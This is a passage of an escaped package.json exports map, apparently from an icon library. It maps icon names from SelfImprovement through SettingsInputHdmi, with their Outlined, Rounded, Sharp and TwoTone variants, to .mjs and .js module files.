\"./SelfImprovement.js\",\n      \"default\": \"./SelfImprovement.mjs\"\n    },\n    \"./SelfImprovementOutlined\": {\n      \"import\": \"./SelfImprovementOutlined.mjs\",\n      \"require\": \"./SelfImprovementOutlined.js\",\n      \"default\": \"./SelfImprovementOutlined.mjs\"\n    },\n    \"./SelfImprovementRounded\": {\n      \"import\": \"./SelfImprovementRounded.mjs\",\n      \"require\": \"./SelfImprovementRounded.js\",\n      \"default\": \"./SelfImprovementRounded.mjs\"\n    },\n    \"./SelfImprovementSharp\": {\n      \"import\": \"./SelfImprovementSharp.mjs\",\n      \"require\": \"./SelfImprovementSharp.js\",\n      \"default\": \"./SelfImprovementSharp.mjs\"\n    },\n    \"./SelfImprovementTwoTone\": {\n      \"import\": \"./SelfImprovementTwoTone.mjs\",\n      \"require\": \"./SelfImprovementTwoTone.js\",\n      \"default\": \"./SelfImprovementTwoTone.mjs\"\n    },\n    \"./Sell\": {\n      \"import\": \"./Sell.mjs\",\n      \"require\": \"./Sell.js\",\n      \"default\": \"./Sell.mjs\"\n    },\n    \"./SellOutlined\": {\n      \"import\": \"./SellOutlined.mjs\",\n      \"require\": \"./SellOutlined.js\",\n      \"default\": \"./SellOutlined.mjs\"\n    },\n    \"./SellRounded\": {\n      \"import\": \"./SellRounded.mjs\",\n      \"require\": \"./SellRounded.js\",\n      \"default\": \"./SellRounded.mjs\"\n    },\n    \"./SellSharp\": {\n      \"import\": \"./SellSharp.mjs\",\n      \"require\": \"./SellSharp.js\",\n      \"default\": \"./SellSharp.mjs\"\n    },\n    \"./SellTwoTone\": {\n      \"import\": \"./SellTwoTone.mjs\",\n      \"require\": \"./SellTwoTone.js\",\n      \"default\": \"./SellTwoTone.mjs\"\n    },\n    \"./Send\": {\n      \"import\": \"./Send.mjs\",\n      \"require\": \"./Send.js\",\n      \"default\": \"./Send.mjs\"\n    },\n    \"./SendAndArchive\": {\n      \"import\": \"./SendAndArchive.mjs\",\n      \"require\": \"./SendAndArchive.js\",\n      \"default\": \"./SendAndArchive.mjs\"\n    },\n    \"./SendAndArchiveOutlined\": {\n      \"import\": \"./SendAndArchiveOutlined.mjs\",\n      \"require\": \"./SendAndArchiveOutlined.js\",\n      \"default\": \"./SendAndArchiveOutlined.mjs\"\n    },\n    \"./SendAndArchiveRounded\": {\n      \"import\": \"./SendAndArchiveRounded.mjs\",\n      \"require\": \"./SendAndArchiveRounded.js\",\n      \"default\": \"./SendAndArchiveRounded.mjs\"\n    },\n    \"./SendAndArchiveSharp\": {\n      \"import\": \"./SendAndArchiveSharp.mjs\",\n      \"require\": \"./SendAndArchiveSharp.js\",\n      \"default\": \"./SendAndArchiveSharp.mjs\"\n    },\n    \"./SendAndArchiveTwoTone\": {\n      \"import\": \"./SendAndArchiveTwoTone.mjs\",\n      \"require\": \"./SendAndArchiveTwoTone.js\",\n      \"default\": \"./SendAndArchiveTwoTone.mjs\"\n    },\n    \"./SendOutlined\": {\n      \"import\": \"./SendOutlined.mjs\",\n      \"require\": \"./SendOutlined.js\",\n      \"default\": \"./SendOutlined.mjs\"\n    },\n    \"./SendRounded\": {\n      \"import\": \"./SendRounded.mjs\",\n      \"require\": \"./SendRounded.js\",\n      \"default\": \"./SendRounded.mjs\"\n    },\n    \"./SendSharp\": {\n      \"import\": \"./SendSharp.mjs\",\n      \"require\": \"./SendSharp.js\",\n      \"default\": \"./SendSharp.mjs\"\n    },\n    \"./SendTimeExtension\": {\n      \"require\": \"./SendTimeExtension.js\",\n      \"import\": \"./SendTimeExtension.mjs\",\n      \"default\": \"./SendTimeExtension.mjs\"\n    },\n    \"./SendTimeExtensionOutlined\": {\n      \"require\": \"./SendTimeExtensionOutlined.js\",\n      \"import\": \"./SendTimeExtensionOutlined.mjs\",\n      \"default\": \"./SendTimeExtensionOutlined.mjs\"\n    },\n    \"./SendTimeExtensionRounded\": {\n      \"require\": \"./SendTimeExtensionRounded.js\",\n      \"import\": \"./SendTimeExtensionRounded.mjs\",\n      \"default\": \"./SendTimeExtensionRounded.mjs\"\n    },\n    \"./SendTimeExtensionSharp\": {\n      \"require\": \"./SendTimeExtensionSharp.js\",\n      \"import\": \"./SendTimeExtensionSharp.mjs\",\n      \"default\": \"./SendTimeExtensionSharp.mjs\"\n    },\n    \"./SendTimeExtensionTwoTone\": {\n      \"require\": \"./SendTimeExtensionTwoTone.js\",\n      \"import\": \"./SendTimeExtensionTwoTone.mjs\",\n      \"default\": \"./SendTimeExtensionTwoTone.mjs\"\n    },\n    \"./SendToMobile\": {\n      \"require\": \"./SendToMobile.js\",\n      \"import\": \"./SendToMobile.mjs\",\n      \"default\": \"./SendToMobile.mjs\"\n    },\n    \"./SendToMobileOutlined\": {\n      \"require\": \"./SendToMobileOutlined.js\",\n      \"import\": \"./SendToMobileOutlined.mjs\",\n      \"default\": \"./SendToMobileOutlined.mjs\"\n    },\n    \"./SendToMobileRounded\": {\n      \"require\": \"./SendToMobileRounded.js\",\n      \"import\": \"./SendToMobileRounded.mjs\",\n      \"default\": \"./SendToMobileRounded.mjs\"\n    },\n    \"./SendToMobileSharp\": {\n      \"require\": \"./SendToMobileSharp.js\",\n      \"import\": \"./SendToMobileSharp.mjs\",\n      \"default\": \"./SendToMobileSharp.mjs\"\n    },\n    \"./SendToMobileTwoTone\": {\n      \"require\": \"./SendToMobileTwoTone.js\",\n      \"import\": \"./SendToMobileTwoTone.mjs\",\n      \"default\": \"./SendToMobileTwoTone.mjs\"\n    },\n    \"./SendTwoTone\": {\n      \"import\": \"./SendTwoTone.mjs\",\n      \"require\": \"./SendTwoTone.js\",\n      \"default\": \"./SendTwoTone.mjs\"\n    },\n    \"./SensorDoor\": {\n      \"import\": \"./SensorDoor.mjs\",\n      \"require\": \"./SensorDoor.js\",\n      \"default\": \"./SensorDoor.mjs\"\n    },\n    \"./SensorDoorOutlined\": {\n      \"import\": \"./SensorDoorOutlined.mjs\",\n      \"require\": \"./SensorDoorOutlined.js\",\n      \"default\": \"./SensorDoorOutlined.mjs\"\n    },\n    \"./SensorDoorRounded\": {\n      \"require\": \"./SensorDoorRounded.js\",\n      \"import\": \"./SensorDoorRounded.mjs\",\n      \"default\": \"./SensorDoorRounded.mjs\"\n    },\n    \"./SensorDoorSharp\": {\n      \"require\": \"./SensorDoorSharp.js\",\n      \"import\": \"./SensorDoorSharp.mjs\",\n      \"default\": \"./SensorDoorSharp.mjs\"\n    },\n    \"./SensorDoorTwoTone\": {\n      \"require\": \"./SensorDoorTwoTone.js\",\n      \"import\": \"./SensorDoorTwoTone.mjs\",\n      \"default\": \"./SensorDoorTwoTone.mjs\"\n    },\n    \"./SensorOccupied\": {\n      \"require\": \"./SensorOccupied.js\",\n      \"import\": \"./SensorOccupied.mjs\",\n      \"default\": \"./SensorOccupied.mjs\"\n    },\n    \"./SensorOccupiedOutlined\": {\n      \"require\": \"./SensorOccupiedOutlined.js\",\n      \"import\": \"./SensorOccupiedOutlined.mjs\",\n      \"default\": \"./SensorOccupiedOutlined.mjs\"\n    },\n    \"./SensorOccupiedRounded\": {\n      \"require\": \"./SensorOccupiedRounded.js\",\n      \"import\": \"./SensorOccupiedRounded.mjs\",\n      \"default\": \"./SensorOccupiedRounded.mjs\"\n    },\n    \"./SensorOccupiedSharp\": {\n      \"require\": \"./SensorOccupiedSharp.js\",\n      \"import\": \"./SensorOccupiedSharp.mjs\",\n      \"default\": \"./SensorOccupiedSharp.mjs\"\n    },\n    \"./SensorOccupiedTwoTone\": {\n      \"require\": \"./SensorOccupiedTwoTone.js\",\n      \"import\": \"./SensorOccupiedTwoTone.mjs\",\n      \"default\": \"./SensorOccupiedTwoTone.mjs\"\n    },\n    \"./SensorWindow\": {\n      \"require\": \"./SensorWindow.js\",\n      \"import\": \"./SensorWindow.mjs\",\n      \"default\": \"./SensorWindow.mjs\"\n    },\n    \"./SensorWindowOutlined\": {\n      \"require\": \"./SensorWindowOutlined.js\",\n      \"import\": \"./SensorWindowOutlined.mjs\",\n      \"default\": \"./SensorWindowOutlined.mjs\"\n    },\n    \"./SensorWindowRounded\": {\n      \"require\": \"./SensorWindowRounded.js\",\n      \"import\": \"./SensorWindowRounded.mjs\",\n      \"default\": \"./SensorWindowRounded.mjs\"\n    },\n    \"./SensorWindowSharp\": {\n      \"require\": \"./SensorWindowSharp.js\",\n      \"import\": \"./SensorWindowSharp.mjs\",\n      \"default\": \"./SensorWindowSharp.mjs\"\n    },\n    \"./SensorWindowTwoTone\": {\n      \"require\": \"./SensorWindowTwoTone.js\",\n      \"import\": \"./SensorWindowTwoTone.mjs\",\n      \"default\": \"./SensorWindowTwoTone.mjs\"\n    },\n    \"./Sensors\": {\n      \"require\": \"./Sensors.js\",\n      \"import\": \"./Sensors.mjs\",\n      \"default\": \"./Sensors.mjs\"\n    },\n    \"./SensorsOff\": {\n      \"import\": \"./SensorsOff.mjs\",\n      \"require\": \"./SensorsOff.js\",\n      \"default\": \"./SensorsOff.mjs\"\n    },\n    \"./SensorsOffOutlined\": {\n      \"import\": \"./SensorsOffOutlined.mjs\",\n      \"require\": \"./SensorsOffOutlined.js\",\n      \"default\": \"./SensorsOffOutlined.mjs\"\n    },\n    \"./SensorsOffRounded\": {\n      \"import\": \"./SensorsOffRounded.mjs\",\n      \"require\": \"./SensorsOffRounded.js\",\n      \"default\": \"./SensorsOffRounded.mjs\"\n    },\n    \"./SensorsOffSharp\": {\n      \"import\": \"./SensorsOffSharp.mjs\",\n      \"require\": \"./SensorsOffSharp.js\",\n      \"default\": \"./SensorsOffSharp.mjs\"\n    },\n    \"./SensorsOffTwoTone\": {\n      \"require\": \"./SensorsOffTwoTone.js\",\n      \"import\": \"./SensorsOffTwoTone.mjs\",\n      \"default\": \"./SensorsOffTwoTone.mjs\"\n    },\n    \"./SensorsOutlined\": {\n      \"require\": \"./SensorsOutlined.js\",\n      \"import\": \"./SensorsOutlined.mjs\",\n      \"default\": \"./SensorsOutlined.mjs\"\n    },\n    \"./SensorsRounded\": {\n      \"require\": \"./SensorsRounded.js\",\n      \"import\": \"./SensorsRounded.mjs\",\n      \"default\": \"./SensorsRounded.mjs\"\n    },\n    \"./SensorsSharp\": {\n      \"require\": \"./SensorsSharp.js\",\n      \"import\": \"./SensorsSharp.mjs\",\n      \"default\": \"./SensorsSharp.mjs\"\n    },\n    \"./SensorsTwoTone\": {\n      \"require\": \"./SensorsTwoTone.js\",\n      \"import\": \"./SensorsTwoTone.mjs\",\n      \"default\": \"./SensorsTwoTone.mjs\"\n    },\n    \"./SentimentDissatisfied\": {\n      \"require\": \"./SentimentDissatisfied.js\",\n      \"import\": \"./SentimentDissatisfied.mjs\",\n      \"default\": \"./SentimentDissatisfied.mjs\"\n    },\n    \"./SentimentDissatisfiedOutlined\": {\n      \"require\": \"./SentimentDissatisfiedOutlined.js\",\n      \"import\": \"./SentimentDissatisfiedOutlined.mjs\",\n      \"default\": \"./SentimentDissatisfiedOutlined.mjs\"\n    },\n    \"./SentimentDissatisfiedRounded\": {\n      \"require\": \"./SentimentDissatisfiedRounded.js\",\n      \"import\": \"./SentimentDissatisfiedRounded.mjs\",\n      \"default\": \"./SentimentDissatisfiedRounded.mjs\"\n    },\n    \"./SentimentDissatisfiedSharp\": {\n      \"require\": \"./SentimentDissatisfiedSharp.js\",\n      \"import\": \"./SentimentDissatisfiedSharp.mjs\",\n      \"default\": \"./SentimentDissatisfiedSharp.mjs\"\n    },\n    \"./SentimentDissatisfiedTwoTone\": {\n      \"require\": \"./SentimentDissatisfiedTwoTone.js\",\n      \"import\": \"./SentimentDissatisfiedTwoTone.mjs\",\n      \"default\": \"./SentimentDissatisfiedTwoTone.mjs\"\n    },\n    \"./SentimentNeutral\": {\n      \"require\": \"./SentimentNeutral.js\",\n      \"import\": \"./SentimentNeutral.mjs\",\n      \"default\": \"./SentimentNeutral.mjs\"\n    },\n    \"./SentimentNeutralOutlined\": {\n      \"require\": \"./SentimentNeutralOutlined.js\",\n      \"import\": \"./SentimentNeutralOutlined.mjs\",\n      \"default\": \"./SentimentNeutralOutlined.mjs\"\n    },\n    \"./SentimentNeutralRounded\": {\n      \"require\": \"./SentimentNeutralRounded.js\",\n      \"import\": \"./SentimentNeutralRounded.mjs\",\n      \"default\": \"./SentimentNeutralRounded.mjs\"\n    },\n    \"./SentimentNeutralSharp\": {\n      \"require\": \"./SentimentNeutralSharp.js\",\n      \"import\": \"./SentimentNeutralSharp.mjs\",\n      \"default\": \"./SentimentNeutralSharp.mjs\"\n    },\n    \"./SentimentNeutralTwoTone\": {\n      \"require\": \"./SentimentNeutralTwoTone.js\",\n      \"import\": \"./SentimentNeutralTwoTone.mjs\",\n      \"default\": \"./SentimentNeutralTwoTone.mjs\"\n    },\n    \"./SentimentSatisfied\": {\n      \"require\": \"./SentimentSatisfied.js\",\n      \"import\": \"./SentimentSatisfied.mjs\",\n      \"default\": \"./SentimentSatisfied.mjs\"\n    },\n    \"./SentimentSatisfiedAlt\": {\n      \"require\": \"./SentimentSatisfiedAlt.js\",\n      \"import\": \"./SentimentSatisfiedAlt.mjs\",\n      \"default\": \"./SentimentSatisfiedAlt.mjs\"\n    },\n    \"./SentimentSatisfiedAltOutlined\": {\n      \"require\": \"./SentimentSatisfiedAltOutlined.js\",\n      \"import\": \"./SentimentSatisfiedAltOutlined.mjs\",\n      \"default\": \"./SentimentSatisfiedAltOutlined.mjs\"\n    },\n    \"./SentimentSatisfiedAltRounded\": {\n      \"require\": \"./SentimentSatisfiedAltRounded.js\",\n      \"import\": \"./SentimentSatisfiedAltRounded.mjs\",\n      \"default\": \"./SentimentSatisfiedAltRounded.mjs\"\n    },\n    \"./SentimentSatisfiedAltSharp\": {\n      \"import\": \"./SentimentSatisfiedAltSharp.mjs\",\n      \"require\": \"./SentimentSatisfiedAltSharp.js\",\n      \"default\": \"./SentimentSatisfiedAltSharp.mjs\"\n    },\n    \"./SentimentSatisfiedAltTwoTone\": {\n      \"import\": \"./SentimentSatisfiedAltTwoTone.mjs\",\n      \"require\": \"./SentimentSatisfiedAltTwoTone.js\",\n      \"default\": \"./SentimentSatisfiedAltTwoTone.mjs\"\n    },\n    \"./SentimentSatisfiedOutlined\": {\n      \"import\": \"./SentimentSatisfiedOutlined.mjs\",\n      \"require\": \"./SentimentSatisfiedOutlined.js\",\n      \"default\": \"./SentimentSatisfiedOutlined.mjs\"\n    },\n    \"./SentimentSatisfiedRounded\": {\n      \"import\": \"./SentimentSatisfiedRounded.mjs\",\n      \"require\": \"./SentimentSatisfiedRounded.js\",\n      \"default\": \"./SentimentSatisfiedRounded.mjs\"\n    },\n    \"./SentimentSatisfiedSharp\": {\n      \"import\": \"./SentimentSatisfiedSharp.mjs\",\n      \"require\": \"./SentimentSatisfiedSharp.js\",\n      \"default\": \"./SentimentSatisfiedSharp.mjs\"\n    },\n    \"./SentimentSatisfiedTwoTone\": {\n      \"import\": \"./SentimentSatisfiedTwoTone.mjs\",\n      \"require\": \"./SentimentSatisfiedTwoTone.js\",\n      \"default\": \"./SentimentSatisfiedTwoTone.mjs\"\n    },\n    \"./SentimentVeryDissatisfied\": {\n      \"import\": \"./SentimentVeryDissatisfied.mjs\",\n      \"require\": \"./SentimentVeryDissatisfied.js\",\n      \"default\": \"./SentimentVeryDissatisfied.mjs\"\n    },\n    \"./SentimentVeryDissatisfiedOutlined\": {\n      \"import\": \"./SentimentVeryDissatisfiedOutlined.mjs\",\n      \"require\": \"./SentimentVeryDissatisfiedOutlined.js\",\n      \"default\": \"./SentimentVeryDissatisfiedOutlined.mjs\"\n    },\n    \"./SentimentVeryDissatisfiedRounded\": {\n      \"import\": \"./SentimentVeryDissatisfiedRounded.mjs\",\n      \"require\": \"./SentimentVeryDissatisfiedRounded.js\",\n      \"default\": \"./SentimentVeryDissatisfiedRounded.mjs\"\n    },\n    \"./SentimentVeryDissatisfiedSharp\": {\n      \"import\": \"./SentimentVeryDissatisfiedSharp.mjs\",\n      \"require\": \"./SentimentVeryDissatisfiedSharp.js\",\n      \"default\": \"./SentimentVeryDissatisfiedSharp.mjs\"\n    },\n    \"./SentimentVeryDissatisfiedTwoTone\": {\n      \"import\": \"./SentimentVeryDissatisfiedTwoTone.mjs\",\n      \"require\": \"./SentimentVeryDissatisfiedTwoTone.js\",\n      \"default\": \"./SentimentVeryDissatisfiedTwoTone.mjs\"\n    },\n    \"./SentimentVerySatisfied\": {\n      \"import\": \"./SentimentVerySatisfied.mjs\",\n      \"require\": \"./SentimentVerySatisfied.js\",\n      \"default\": \"./SentimentVerySatisfied.mjs\"\n    },\n    \"./SentimentVerySatisfiedOutlined\": {\n      \"import\": \"./SentimentVerySatisfiedOutlined.mjs\",\n      \"require\": \"./SentimentVerySatisfiedOutlined.js\",\n      \"default\": \"./SentimentVerySatisfiedOutlined.mjs\"\n    },\n    \"./SentimentVerySatisfiedRounded\": {\n      \"import\": \"./SentimentVerySatisfiedRounded.mjs\",\n      \"require\": \"./SentimentVerySatisfiedRounded.js\",\n      \"default\": \"./SentimentVerySatisfiedRounded.mjs\"\n    },\n    \"./SentimentVerySatisfiedSharp\": {\n      \"import\": \"./SentimentVerySatisfiedSharp.mjs\",\n      \"require\": \"./SentimentVerySatisfiedSharp.js\",\n      \"default\": \"./SentimentVerySatisfiedSharp.mjs\"\n    },\n    \"./SentimentVerySatisfiedTwoTone\": {\n      \"require\": \"./SentimentVerySatisfiedTwoTone.js\",\n      \"import\": \"./SentimentVerySatisfiedTwoTone.mjs\",\n      \"default\": \"./SentimentVerySatisfiedTwoTone.mjs\"\n    },\n    \"./SetMeal\": {\n      \"import\": \"./SetMeal.mjs\",\n      \"require\": \"./SetMeal.js\",\n      \"default\": \"./SetMeal.mjs\"\n    },\n    \"./SetMealOutlined\": {\n      \"import\": \"./SetMealOutlined.mjs\",\n      \"require\": \"./SetMealOutlined.js\",\n      \"default\": \"./SetMealOutlined.mjs\"\n    },\n    \"./SetMealRounded\": {\n      \"import\": \"./SetMealRounded.mjs\",\n      \"require\": \"./SetMealRounded.js\",\n      \"default\": \"./SetMealRounded.mjs\"\n    },\n    \"./SetMealSharp\": {\n      \"import\": \"./SetMealSharp.mjs\",\n      \"require\": \"./SetMealSharp.js\",\n      \"default\": \"./SetMealSharp.mjs\"\n    },\n    \"./SetMealTwoTone\": {\n      \"import\": \"./SetMealTwoTone.mjs\",\n      \"require\": \"./SetMealTwoTone.js\",\n      \"default\": \"./SetMealTwoTone.mjs\"\n    },\n    \"./Settings\": {\n      \"import\": \"./Settings.mjs\",\n      \"require\": \"./Settings.js\",\n      \"default\": \"./Settings.mjs\"\n    },\n    \"./SettingsAccessibility\": {\n      \"import\": \"./SettingsAccessibility.mjs\",\n      \"require\": \"./SettingsAccessibility.js\",\n      \"default\": \"./SettingsAccessibility.mjs\"\n    },\n    \"./SettingsAccessibilityOutlined\": {\n      \"import\": \"./SettingsAccessibilityOutlined.mjs\",\n      \"require\": \"./SettingsAccessibilityOutlined.js\",\n      \"default\": \"./SettingsAccessibilityOutlined.mjs\"\n    },\n    \"./SettingsAccessibilityRounded\": {\n      \"import\": \"./SettingsAccessibilityRounded.mjs\",\n      \"require\": \"./SettingsAccessibilityRounded.js\",\n      \"default\": \"./SettingsAccessibilityRounded.mjs\"\n    },\n    \"./SettingsAccessibilitySharp\": {\n      \"require\": \"./SettingsAccessibilitySharp.js\",\n      \"import\": \"./SettingsAccessibilitySharp.mjs\",\n      \"default\": \"./SettingsAccessibilitySharp.mjs\"\n    },\n    \"./SettingsAccessibilityTwoTone\": {\n      \"require\": \"./SettingsAccessibilityTwoTone.js\",\n      \"import\": \"./SettingsAccessibilityTwoTone.mjs\",\n      \"default\": \"./SettingsAccessibilityTwoTone.mjs\"\n    },\n    \"./SettingsApplications\": {\n      \"require\": \"./SettingsApplications.js\",\n      \"import\": \"./SettingsApplications.mjs\",\n      \"default\": \"./SettingsApplications.mjs\"\n    },\n    \"./SettingsApplicationsOutlined\": {\n      \"require\": \"./SettingsApplicationsOutlined.js\",\n      \"import\": \"./SettingsApplicationsOutlined.mjs\",\n      \"default\": \"./SettingsApplicationsOutlined.mjs\"\n    },\n    \"./SettingsApplicationsRounded\": {\n      \"require\": \"./SettingsApplicationsRounded.js\",\n      \"import\": \"./SettingsApplicationsRounded.mjs\",\n      \"default\": \"./SettingsApplicationsRounded.mjs\"\n    },\n    \"./SettingsApplicationsSharp\": {\n      \"require\": \"./SettingsApplicationsSharp.js\",\n      \"import\": \"./SettingsApplicationsSharp.mjs\",\n      \"default\": \"./SettingsApplicationsSharp.mjs\"\n    },\n    \"./SettingsApplicationsTwoTone\": {\n      \"require\": \"./SettingsApplicationsTwoTone.js\",\n      \"import\": \"./SettingsApplicationsTwoTone.mjs\",\n      \"default\": \"./SettingsApplicationsTwoTone.mjs\"\n    },\n    \"./SettingsBackupRestore\": {\n      \"require\": \"./SettingsBackupRestore.js\",\n      \"import\": \"./SettingsBackupRestore.mjs\",\n      \"default\": \"./SettingsBackupRestore.mjs\"\n    },\n    \"./SettingsBackupRestoreOutlined\": {\n      \"require\": \"./SettingsBackupRestoreOutlined.js\",\n      \"import\": \"./SettingsBackupRestoreOutlined.mjs\",\n      \"default\": \"./SettingsBackupRestoreOutlined.mjs\"\n    },\n    \"./SettingsBackupRestoreRounded\": {\n      \"require\": \"./SettingsBackupRestoreRounded.js\",\n      \"import\": \"./SettingsBackupRestoreRounded.mjs\",\n      \"default\": \"./SettingsBackupRestoreRounded.mjs\"\n    },\n    \"./SettingsBackupRestoreSharp\": {\n      \"require\": \"./SettingsBackupRestoreSharp.js\",\n      \"import\": \"./SettingsBackupRestoreSharp.mjs\",\n      \"default\": \"./SettingsBackupRestoreSharp.mjs\"\n    },\n    \"./SettingsBackupRestoreTwoTone\": {\n      \"require\": \"./SettingsBackupRestoreTwoTone.js\",\n      \"import\": \"./SettingsBackupRestoreTwoTone.mjs\",\n      \"default\": \"./SettingsBackupRestoreTwoTone.mjs\"\n    },\n    \"./SettingsBluetooth\": {\n      \"require\": \"./SettingsBluetooth.js\",\n      \"import\": \"./SettingsBluetooth.mjs\",\n      \"default\": \"./SettingsBluetooth.mjs\"\n    },\n    \"./SettingsBluetoothOutlined\": {\n      \"require\": \"./SettingsBluetoothOutlined.js\",\n      \"import\": \"./SettingsBluetoothOutlined.mjs\",\n      \"default\": \"./SettingsBluetoothOutlined.mjs\"\n    },\n    \"./SettingsBluetoothRounded\": {\n      \"require\": \"./SettingsBluetoothRounded.js\",\n      \"import\": \"./SettingsBluetoothRounded.mjs\",\n      \"default\": \"./SettingsBluetoothRounded.mjs\"\n    },\n    \"./SettingsBluetoothSharp\": {\n      \"require\": \"./SettingsBluetoothSharp.js\",\n      \"import\": \"./SettingsBluetoothSharp.mjs\",\n      \"default\": \"./SettingsBluetoothSharp.mjs\"\n    },\n    \"./SettingsBluetoothTwoTone\": {\n      \"require\": \"./SettingsBluetoothTwoTone.js\",\n      \"import\": \"./SettingsBluetoothTwoTone.mjs\",\n      \"default\": \"./SettingsBluetoothTwoTone.mjs\"\n    },\n    \"./SettingsBrightness\": {\n      \"require\": \"./SettingsBrightness.js\",\n      \"import\": \"./SettingsBrightness.mjs\",\n      \"default\": \"./SettingsBrightness.mjs\"\n    },\n    \"./SettingsBrightnessOutlined\": {\n      \"require\": \"./SettingsBrightnessOutlined.js\",\n      \"import\": \"./SettingsBrightnessOutlined.mjs\",\n      \"default\": \"./SettingsBrightnessOutlined.mjs\"\n    },\n    \"./SettingsBrightnessRounded\": {\n      \"require\": \"./SettingsBrightnessRounded.js\",\n      \"import\": \"./SettingsBrightnessRounded.mjs\",\n      \"default\": \"./SettingsBrightnessRounded.mjs\"\n    },\n    \"./SettingsBrightnessSharp\": {\n      \"require\": \"./SettingsBrightnessSharp.js\",\n      \"import\": \"./SettingsBrightnessSharp.mjs\",\n      \"default\": \"./SettingsBrightnessSharp.mjs\"\n    },\n    \"./SettingsBrightnessTwoTone\": {\n      \"require\": \"./SettingsBrightnessTwoTone.js\",\n      \"import\": \"./SettingsBrightnessTwoTone.mjs\",\n      \"default\": \"./SettingsBrightnessTwoTone.mjs\"\n    },\n    \"./SettingsCell\": {\n      \"require\": \"./SettingsCell.js\",\n      \"import\": \"./SettingsCell.mjs\",\n      \"default\": \"./SettingsCell.mjs\"\n    },\n    \"./SettingsCellOutlined\": {\n      \"require\": \"./SettingsCellOutlined.js\",\n      \"import\": \"./SettingsCellOutlined.mjs\",\n      \"default\": \"./SettingsCellOutlined.mjs\"\n    },\n    \"./SettingsCellRounded\": {\n      \"require\": \"./SettingsCellRounded.js\",\n      \"import\": \"./SettingsCellRounded.mjs\",\n      \"default\": \"./SettingsCellRounded.mjs\"\n    },\n    \"./SettingsCellSharp\": {\n      \"require\": \"./SettingsCellSharp.js\",\n      \"import\": \"./SettingsCellSharp.mjs\",\n      \"default\": \"./SettingsCellSharp.mjs\"\n    },\n    \"./SettingsCellTwoTone\": {\n      \"require\": \"./SettingsCellTwoTone.js\",\n      \"import\": \"./SettingsCellTwoTone.mjs\",\n      \"default\": \"./SettingsCellTwoTone.mjs\"\n    },\n    \"./SettingsEthernet\": {\n      \"require\": \"./SettingsEthernet.js\",\n      \"import\": \"./SettingsEthernet.mjs\",\n      \"default\": \"./SettingsEthernet.mjs\"\n    },\n    \"./SettingsEthernetOutlined\": {\n      \"require\": \"./SettingsEthernetOutlined.js\",\n      \"import\": \"./SettingsEthernetOutlined.mjs\",\n      \"default\": \"./SettingsEthernetOutlined.mjs\"\n    },\n    \"./SettingsEthernetRounded\": {\n      \"require\": \"./SettingsEthernetRounded.js\",\n      \"import\": \"./SettingsEthernetRounded.mjs\",\n      \"default\": \"./SettingsEthernetRounded.mjs\"\n    },\n    \"./SettingsEthernetSharp\": {\n      \"require\": \"./SettingsEthernetSharp.js\",\n      \"import\": \"./SettingsEthernetSharp.mjs\",\n      \"default\": \"./SettingsEthernetSharp.mjs\"\n    },\n    \"./SettingsEthernetTwoTone\": {\n      \"require\": \"./SettingsEthernetTwoTone.js\",\n      \"import\": \"./SettingsEthernetTwoTone.mjs\",\n      \"default\": \"./SettingsEthernetTwoTone.mjs\"\n    },\n    \"./SettingsInputAntenna\": {\n      \"require\": \"./SettingsInputAntenna.js\",\n      \"import\": \"./SettingsInputAntenna.mjs\",\n      \"default\": \"./SettingsInputAntenna.mjs\"\n    },\n    \"./SettingsInputAntennaOutlined\": {\n      \"require\": \"./SettingsInputAntennaOutlined.js\",\n      \"import\": \"./SettingsInputAntennaOutlined.mjs\",\n      \"default\": \"./SettingsInputAntennaOutlined.mjs\"\n    },\n    \"./SettingsInputAntennaRounded\": {\n      \"require\": \"./SettingsInputAntennaRounded.js\",\n      \"import\": \"./SettingsInputAntennaRounded.mjs\",\n      \"default\": \"./SettingsInputAntennaRounded.mjs\"\n    },\n    \"./SettingsInputAntennaSharp\": {\n      \"require\": \"./SettingsInputAntennaSharp.js\",\n      \"import\": \"./SettingsInputAntennaSharp.mjs\",\n      \"default\": \"./SettingsInputAntennaSharp.mjs\"\n    },\n    \"./SettingsInputAntennaTwoTone\": {\n      \"require\": \"./SettingsInputAntennaTwoTone.js\",\n      \"import\": \"./SettingsInputAntennaTwoTone.mjs\",\n      \"default\": \"./SettingsInputAntennaTwoTone.mjs\"\n    },\n    \"./SettingsInputComponent\": {\n      \"require\": \"./SettingsInputComponent.js\",\n      \"import\": \"./SettingsInputComponent.mjs\",\n      \"default\": \"./SettingsInputComponent.mjs\"\n    },\n    \"./SettingsInputComponentOutlined\": {\n      \"require\": \"./SettingsInputComponentOutlined.js\",\n      \"import\": \"./SettingsInputComponentOutlined.mjs\",\n      \"default\": \"./SettingsInputComponentOutlined.mjs\"\n    },\n    \"./SettingsInputComponentRounded\": {\n      \"require\": \"./SettingsInputComponentRounded.js\",\n      \"import\": \"./SettingsInputComponentRounded.mjs\",\n      \"default\": \"./SettingsInputComponentRounded.mjs\"\n    },\n    \"./SettingsInputComponentSharp\": {\n      \"require\": \"./SettingsInputComponentSharp.js\",\n      \"import\": \"./SettingsInputComponentSharp.mjs\",\n      \"default\": \"./SettingsInputComponentSharp.mjs\"\n    },\n    \"./SettingsInputComponentTwoTone\": {\n      \"require\": \"./SettingsInputComponentTwoTone.js\",\n      \"import\": \"./SettingsInputComponentTwoTone.mjs\",\n      \"default\": \"./SettingsInputComponentTwoTone.mjs\"\n    },\n    \"./SettingsInputComposite\": {\n      \"require\": \"./SettingsInputComposite.js\",\n      \"import\": \"./SettingsInputComposite.mjs\",\n      \"default\": \"./SettingsInputComposite.mjs\"\n    },\n    \"./SettingsInputCompositeOutlined\": {\n      \"require\": \"./SettingsInputCompositeOutlined.js\",\n      \"import\": \"./SettingsInputCompositeOutlined.mjs\",\n      \"default\": \"./SettingsInputCompositeOutlined.mjs\"\n    },\n    \"./SettingsInputCompositeRounded\": {\n      \"require\": \"./SettingsInputCompositeRounded.js\",\n      \"import\": \"./SettingsInputCompositeRounded.mjs\",\n      \"default\": \"./SettingsInputCompositeRounded.mjs\"\n    },\n    \"./SettingsInputCompositeSharp\": {\n      \"require\": \"./SettingsInputCompositeSharp.js\",\n      \"import\": \"./SettingsInputCompositeSharp.mjs\",\n      \"default\": \"./SettingsInputCompositeSharp.mjs\"\n    },\n    \"./SettingsInputCompositeTwoTone\": {\n      \"require\": \"./SettingsInputCompositeTwoTone.js\",\n      \"import\": \"./SettingsInputCompositeTwoTone.mjs\",\n      \"default\": \"./SettingsInputCompositeTwoTone.mjs\"\n    },\n    \"./SettingsInputHdmi\": {\n      \"require\": \"./SettingsInputHdmi.js\",\n      \"import\": \"./SettingsInputHdmi.mjs\",\n      \"default\": \"./SettingsInputHdmi.mjs\"\n    },\n    \"./SettingsInputHdmiOutlined\": {\n      \"import\": 